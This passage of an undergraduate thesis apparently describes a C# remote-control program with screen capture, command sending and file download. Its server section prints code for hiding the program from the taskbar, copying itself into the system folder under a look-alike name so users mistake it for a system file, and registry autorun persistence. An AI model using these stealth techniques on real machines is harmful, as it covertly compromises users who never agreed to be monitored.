75、加一些控件。修改相應的編輯框?qū)傩?。添加相應的成員變量。從圖4可以清楚的看到,在未登錄服務器之前,注銷,直接控屏和發(fā)送按鈕以及要發(fā)送的命令的窗口都是不可用的,同時,本軟件設置了一個顯示消息窗口,用來接收服務器端發(fā)回來的反饋消息。</p><p> 3.3.2 連接遠程主機</p><p> 在本軟件設計初期,我想到的不是通過指定要連接的計算機的IP地址進行遠程的控制連接,而是由軟件自動
76、搜索,通過搜索后得到的計算機結(jié)果去連接要連接的那臺計算機。但是后來想到,搜索后的結(jié)果不一定有想要連接的那臺計算機,而且,自動搜索會具有一定的黑客性質(zhì)。在通過遠程網(wǎng)絡控制通信時,先指定要登錄的計算機的IP,有針對性的連接,這樣安全性也好一點。</p><p> 因此,在圖4中的被控端信息欄里就有了IP地址的輸入欄(由于服務端監(jiān)聽的端口是指定的,因此在客戶端選擇端口根本就沒有意義)。登陸時。在IP地址欄填入被控端的
77、IP地址,端口號(本程序的端口設置為7068),點擊登陸,就可以了。</p><p> 3.3.3 發(fā)送命令</p><p> 系統(tǒng)通信協(xié)議定義:此程序的通信協(xié)議是自定義的。但是,我這邊做得稍微簡單了點,因為DOS命令本身,就為大部分人所熟悉。我直接用即可,沒必要說自定義個命令,然后到服務端再去做相應的轉(zhuǎn)換工作,實在多此一舉。下面我只列出了幾個用到的非DOS命令,但這些命令,并不是由用
78、戶敲進去的,而是程序運行過程中,內(nèi)部用到的,對用戶不透明的命令。</p><p><b> 系統(tǒng)通信協(xié)議</b></p><p> 點擊發(fā)送按鈕時,程序從命令輸入框中取得命令的字符串(string類型),利用Send()函數(shù)來發(fā)送命令。返回的結(jié)果在信息顯示窗口顯示出來。而且,在服務器端,過濾了“src”、“close”和“download”三種命令(非一般的DOS
79、命令),更有利于服務器對客戶端發(fā)送的命令的執(zhí)行。具體詳細實現(xiàn)方法可以參閱附錄的源代碼。</p><p> 3.3.4 直接控屏</p><p> 控制屏幕是本程序最主要和最重要的功能模塊,不管是服務器,還是客戶端,在實現(xiàn)遠程屏幕監(jiān)視方面都比較麻煩和復雜。本程序的遠程控制屏幕模塊采用了通過服務器端抓取被控端的桌面和圖形,并且還有捕獲鼠標和鍵盤的相應函數(shù),一同通過服務器和客戶端的Socke
80、t連接,發(fā)送到控制端。在控制端,要把抓出來的圖形和鍵盤鼠標等相應函數(shù)聯(lián)系起來,再捕獲控制端的鼠標鍵盤在被控端圖形顯示區(qū)域里的響應以及相應位置。在通過控制端的操作,通過函數(shù)回應,發(fā)回到被控端,映射到被控端的相應位置。在利用返回的鼠標鍵盤的函數(shù)操作,調(diào)用本地的鼠標鍵盤的函數(shù)操作,來實現(xiàn)對被控端的控制。</p><p> 在實現(xiàn)控制屏幕功能模塊中,專門建立了一個屏幕控制窗口類ScreenCtrl,其界面上放置了一個p
81、ictureBox控件,用于顯示從服務端接收到的桌面圖像。在窗體加載的事件里創(chuàng)建了新的線程,用來執(zhí)行控屏操作,具體如下:</p><p> private void ScreenCtrlLoad(object sender, EventArgs e)</p><p><b> {</b></p><p><b> try<
82、/b></p><p><b> {</b></p><p> CheckForIllegalCrossThreadCalls=false;</p><p> Thread linkedForServerThread = new Thread(new ParameterizedThreadStart(LinkedForServer)
83、);</p><p><b> //后臺線程</b></p><p> linkedForServerThread.IsBackground = true;</p><p> linkedForServerThread.Start(_Socket);</p><p><b> }</b>&l
84、t;/p><p> catch (Exception er)</p><p><b> {</b></p><p> MessageBox.Show(this, er.Message, "錯誤", MessageBoxButtons.OK, MessageBoxIcon.Error);</p><p&g
85、t;<b> }</b></p><p><b> }</b></p><p> 窗體加載完,并ShowDialog()之后,就會在pictureBox中顯示接收到的第一張圖片(之后循環(huán)接收后續(xù)圖像數(shù)據(jù)并顯示)。為了響應鼠標和鍵盤的操作,pictureBox實現(xiàn)了MouseDown、MouseUp、MouseMove、MouseWheel、
86、MouseClick、MouseDoubleClick、KeyDown等七個事件。實現(xiàn)該模塊的流程圖如下所示:</p><p> 有了以上的連接請求,再和服務器端的設計相結(jié)合,就可以實現(xiàn)對遠程計算機屏幕的控制了。</p><p><b> 3.3.5 幫助</b></p><p> 幫助功能模塊其實就是軟件的使用說明。主要介紹軟件的命令。
87、</p><p><b> 3.4 服務端實現(xiàn)</b></p><p> 被控端程序是遠程控制軟件的主體。軟件的具體功能都是在被控制端實現(xiàn)的,主控端只負責傳送要執(zhí)行的命令和顯示返回的結(jié)果。而幾乎所有的操作控制都是在被控端本地實現(xiàn)的。遠程控制的被控端要求自動運行,同時還應該要具有一定的隱藏性,不容易被用戶發(fā)現(xiàn)和關(guān)閉,當然,這要在Window任務管理器里看不到。故界面
88、簡單,并且自動改成和系統(tǒng)配置中的名稱相近的名稱。這樣才不容易被用戶發(fā)現(xiàn)。</p><p> 由于服務端基本不涉及界面操作,而且在服務啟動后,程序是要隱藏運行的,因此,其界面就可以做得相對簡單些了。具體界面如下圖所示: </p><p> 讓程序運行時,在任務管理器中看不到,只要一句話就可以了,如下:</p><p> this.ShowInTaskba
89、r=false;</p><p> 3.4.1 進行監(jiān)聽、時刻準備連接</p><p> 服務端Socket從一開始就一直保持監(jiān)聽狀態(tài),等待客戶端的連接請求。</p><p> 3.4.2 程序設置自動運行</p><p> 遠程控制軟件要求被控端程序只手動運行一次,然后每次計算機啟動時自動運行,而且,一般也要求隱藏運行,最好要求被控
90、端的用戶看不到控制端軟件的運行,甚至用Ctrl+Alt+Del調(diào)出任務管理器也看不出來,這樣,被控端就不能關(guān)閉運行的遠程控制程序。</p><p> 本軟件是利用修改注冊表的方法來實現(xiàn)程序的自動啟動的。注冊表保存系統(tǒng)的軟、硬件及其他與系統(tǒng)配置有關(guān)的重要信息。在計算機的系統(tǒng)注冊表中德子目錄中有一個目錄,該名稱為:HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\Curr
91、entVersion\Run,只要把要求自動運行的程序添加到該目錄的一個子項只要把要求自動運行的程序添加到該目錄的一個子項里,就可以實現(xiàn)該程序的自動運行了,而且為了迷惑被控端的用戶,可以將程序拷貝到系統(tǒng)目錄下,并且改一個和系統(tǒng)目錄下相近的名字,如internt.exe具體操作如下:</p><p> 設置注冊表的相關(guān)路徑:</p><p> 在C#中進行注冊表操作,需要引入命名空間Mi
92、crosoft.Win32。其中提供了兩個類RegistryKey和Registry。</p><p> string keyValue="SOFTWARE\\Microsoft\\Windows\\CurrentVersion</p><p><b> \\Run";</b></p><p> SOFTWARE\Mi
93、crosoft\Windows\CurrentVersion\Run,是所有軟件自動運行的統(tǒng)一鍵值。修改它,就可以注冊自動運行了。然后再獲得系統(tǒng)目錄: GetSystemDirectory(SysPath,size);并且把文件拷貝到系統(tǒng)目錄下,改名為internt.exe。這樣就算用戶發(fā)現(xiàn)了這個文件,也會誤以為是系統(tǒng)文件而不敢亂刪除。具體實現(xiàn)如下:</p><p> [DllImport("kern
94、el32")]</p><p> public static extern void GetSystemDirectory(StringBuilder SysDir,int count);</p><p> const int nChars = 128;</p><p> StringBuilder Buff = new StringBuilder(
95、nChars);</p><p> GetSystemDirectory(Buff,nChars);</p><p> string sysDirectory=Buff.ToString()+"\\internt.exe";</p><p> File.Copy(Application.ExecutablePath,sysDirect
96、ory);</p><p> 然后注冊為自動運行:注冊自動運行要先打開注冊表</p><p> RegistryKey regKey=Registry.LocalMachine.OpenSubKey(keyValue,</p><p><b> true);</b></p><p> 然后將要自動運行的程序?qū)懭胱?/p>
97、冊表內(nèi),如下:</p><p> regKey.SetValue("remoteCtrl",sysDirectory);</p><p> 再添加一下出錯處理函數(shù)就可以完成完整的注冊自動運行的函數(shù)了;</p><p> 3.4.3 查看文件內(nèi)容</p><p> 一般是指*.txt文件,用type命令即可。如:ty
98、pe D:\file.txt。</p><p> 若是其他格式的文件,則可以下載下來之后再看。</p><p> 3.4.5 文件下載</p><p> 當接收到的客戶端命令滿足條件recvStr.Substring(0,8)==</p><p> "DownLoad"時,服務器端取得客戶端傳過來的文件路徑,并創(chuàng)建
99、文件流,讀文件至一個字節(jié)數(shù)組,然后發(fā)送至客戶端即可。</p><p> 3.4.6 遠程屏幕抓取的實現(xiàn)</p><p> 在遠程控制的實踐中,控制端用戶要想知道被控端的用戶在干什么,一般有兩種方法,一種方式是記錄被控端的鍵盤和鼠標事件,形成一個文本文件,然后把文件發(fā)到控制端??刂贫擞脩敉ㄟ^查看文件的方式了解被控端的用戶打開了哪些程序,敲哪些鍵。這樣,雖然知道了用戶的一些操作,但是不直觀
100、,而且查閱起來也不方便。另外,要想讓程序在用戶不知道的情況下去監(jiān)視鍵盤,這個技術(shù)是非常復雜的,至少現(xiàn)在的我還做不到。這時,就要用到另一種方式。即在被控端抓取當前的屏幕,形成位圖文件,然后把該文件發(fā)送到控制端計算機并顯示出來,實現(xiàn)遠程屏幕抓取。取得當前屏幕圖像的方法如下:</p><p> Image deskImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width
101、, Screen.PrimaryScreen.Bounds.Height,PixelFormat.Format24bppRgb);</p><p> Graphics deskG = Graphics.FromImage(deskImage);</p><p> deskG.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.
102、PrimaryScreen.Bounds.Size);</p><p> Rectangle targRect = new Rectangle(0, 0, 640, 480);</p><p> Image baseImage = new Bitmap(640,480,PixelFormat.Format24bppRgb);</p><p> Graphics
103、 baseG = Graphics.FromImage(baseImage);</p><p> baseG.DrawImage(deskImage, targRect, new Rectangle(0, 0, </p><p> deskImage.Width, deskImage.Height), GraphicsUnit.Pixel);</p><p>
104、 之后將baseImage轉(zhuǎn)換為字節(jié)數(shù)組,傳至客戶端即可。再與鼠標鍵盤事件控制相結(jié)合就可以實現(xiàn)直接屏幕控制了! 客戶端主要是負責向服務端發(fā)出獲取服務端屏幕圖像數(shù)據(jù)的請求,把從服務端發(fā)送來的屏幕圖像在本地實時地顯示出來;而服務端主要是負責響應客戶端的請求并抓取與發(fā)送屏幕圖像。</p><p> 具體實現(xiàn)的流程圖如下:</p><p> 至此,鼠標、鍵盤、屏控等模塊就介紹完了,本系統(tǒng)的實現(xiàn)
105、也到此為止。</p><p><b> 四 總結(jié)</b></p><p> 在論文寫作中涉及到的技術(shù),我都盡量列出了函數(shù)原型,以幫助理解和應用。通過對此程序的設計、編碼,使我加深了對所學課程《計算機網(wǎng)絡》的了解,同時也熟悉了網(wǎng)絡編程的許多方面,加深了對系統(tǒng)結(jié)構(gòu)等知識的了解。熟悉了VC#的網(wǎng)絡編程以及C++程序、系統(tǒng)API等與.NET的融合。</p>
106、<p> 另外,本程序在直接控屏功能實現(xiàn)上還有一點問題,由于不管是被控端還是控制端發(fā)送和接受的都是位圖,所以要求的數(shù)據(jù)量就比較大。導致程序在運行一段時間后會變得越來越慢,直至無法響應。而且,在控制端對被控端的有些操作還不能完全實現(xiàn),有待于進一步完善。尤其是在重啟和關(guān)機方面,由于程序運行于用戶模式,所以有些涉及權(quán)限的操作,都未必能如我們所想的運行下去。因此,取得進程調(diào)用權(quán)限顯得尤為重要。而這一點,我雖然嘗試去做了,但是實現(xiàn)的
107、并不是很完全,有待進一步完善。</p><p><b> 參考文獻</b></p><p> [1] C++程序設計教程 H.M.Deitel、P.J.Deitel【美】 著 施平安 譯 清華大學出版社</p><p> [2] 深入淺出MFC 侯俊杰【臺】 著 華中理工大學出版社</p><p>
108、[3] 遠程控制編程技術(shù) 張友生 編著 電子工業(yè)出版社</p><p> [4] 王達.計算機網(wǎng)絡遠程控制 [M].北京:清華大學出版社,2003</p><p> [5] 謝希仁.計算機網(wǎng)絡[M].大連:大連理工大學出版社,2000</p><p> [6] 劉小輝.網(wǎng)絡管理[M].北京:人民郵電出版社,2002</p><p>
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 計算機遠程控制畢業(yè)設計
- 畢業(yè)設計---計算機遠程控制程序設計
- 計算機遠程維護畢業(yè)設計
- 計算機遠程控制軟件及應用實踐
- 計算機系統(tǒng)遠程維護畢業(yè)設計
- 計算機遠程控制系統(tǒng)的設計與實現(xiàn).pdf
- 計算機遠程控制技術(shù)與方法研究.pdf
- 地下施工機械計算機遠程控制系統(tǒng)的設計.pdf
- 計算機遠程控制的總線型智能儀器.pdf
- 基于DDC的計算機過程控制遠程實驗系統(tǒng).pdf
- 基于木馬的計算機遠程控制研究與實現(xiàn).pdf
- LED顯示屏的計算機遠程控制系統(tǒng).pdf
- 計算機網(wǎng)站畢業(yè)設計
- 畢業(yè)設計-自動化遠程控制類
- 計算機學院網(wǎng)站畢業(yè)設計
- 基于RootKit的計算機遠程控制應用技術(shù)研究.pdf
- 化工過程計算機遠程控制系統(tǒng)的研究與開發(fā).pdf
- 計算機畢業(yè)設計外文翻譯
- 基于木馬的計算機遠程控制及隱藏技術(shù)研究.pdf
- 計算機電源設計【畢業(yè)設計】
評論
0/150
提交評論